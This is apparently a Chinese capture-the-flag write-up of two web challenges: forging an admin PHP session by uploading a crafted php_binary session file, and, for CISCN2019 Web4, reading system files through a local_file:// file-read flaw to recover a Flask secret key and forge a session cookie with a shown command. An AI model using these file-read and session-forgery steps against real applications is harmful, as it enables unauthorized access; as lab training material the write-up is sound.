1.session验证为admin
2.存在success.txt文件

查看一下现在sess中存的内容,发现是php_binary处理的反序列化,那岂不是可以直接伪造了。

<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("D:\\phpstudy_pro\\WWW\\testphp\\");
session_start();

$_SESSION['username'] = 'admin';

生成sess文件,把文件名改为sess并计算sha256,
这样,如果我们将sess文件上传,服务器储存该文件的文件名就应该是

sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

查询后发现username被设置为了admin
file_exits即可以判断文件,也可以判断目录,这里直接传一个success.txt的目录即可
最后修改session,刷新得flag。

[CISCN2019 华东南赛区]Web4

file:///etc/passwd没反应,路由的处理方式不想php,用Flask的试试

local_file:///app/app.py

成功读取源码。
经分析,只要伪造seesion就能读flag,而密钥是以uuid.getnode(),也就是mac地址为种子生成的。

读取mac地址:local_file:///sys/class/net/eth0/address

用python2生成种子(不同python版本保留位数不同),Flask专用的脚本加密

python3 .\flask_session_cookie_manager3.py encode -s '82.5659952704' -t "{'username': b'fuck'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.XyEe_Q.wc_dKYSv6ifGWLT1XbJyT4VjIhY

替换后访问/flag即可。